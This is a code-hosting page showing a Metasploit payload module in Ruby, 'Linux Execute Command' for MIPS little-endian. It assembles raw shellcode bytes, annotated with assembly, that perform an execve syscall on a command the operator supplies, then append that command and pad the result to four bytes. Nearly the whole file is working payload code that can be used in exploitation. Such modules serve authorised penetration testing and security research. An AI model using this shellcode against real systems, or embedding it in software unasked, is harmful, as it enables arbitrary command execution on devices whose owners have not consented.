Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/mipsle/exec.rb
Views: 11782
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67module MetasploitModule89CachedSize = 521011include Msf::Payload::Single12include Msf::Payload::Linux1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Execute Command',17'Description' => %q{18A very small shellcode for executing commands.19This module is sometimes helpful for testing purposes as well as20on targets with extremely limited buffer space.21},22'Author' =>23[24'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload25'[email protected]' #original payload26],27'References' =>28[29['EDB', '17940']30],31'License' => MSF_LICENSE,32'Platform' => 'linux',33'Arch' => ARCH_MIPSLE,34'Payload' =>35{36'Offsets' => {} ,37'Payload' => ''38})39)40register_options(41[42OptString.new('CMD', [ true, "The command string to execute" ]),43])44end4546#47# Returns the command string to use for execution48#49def command_string50return datastore['CMD'] || ''51end5253def generate(_opts = {})5455shellcode =56"\x66\x06\x06\x24" + # li a2,163857"\xff\xff\xd0\x04" + # bltzal a2,4100b458"\xff\xff\x06\x28" + # slti a2,zero,-159"\xe0\xff\xbd\x27" + # addiu sp,sp,-3260"\x01\x10\xe4\x27" + # addiu a0,ra,409761"\x1f\xf0\x84\x24" + # addiu a0,a0,-406562"\xe8\xff\xa4\xaf" + # sw a0,-24(sp)63"\xec\xff\xa0\xaf" + # sw zero,-20(sp)64"\xe8\xff\xa5\x27" + # addiu a1,sp,-2465"\xab\x0f\x02\x24" + # li v0,401166"\x0c\x01\x01\x01" # syscall 0x404046768#69# Constructs the payload70#7172shellcode = shellcode + command_string + "\x00"7374# we need to align our shellcode to 4 bytes75while shellcode.bytesize%4 != 076shellcode = shellcode + "\x00"77end7879return super + shellcode8081end82end838485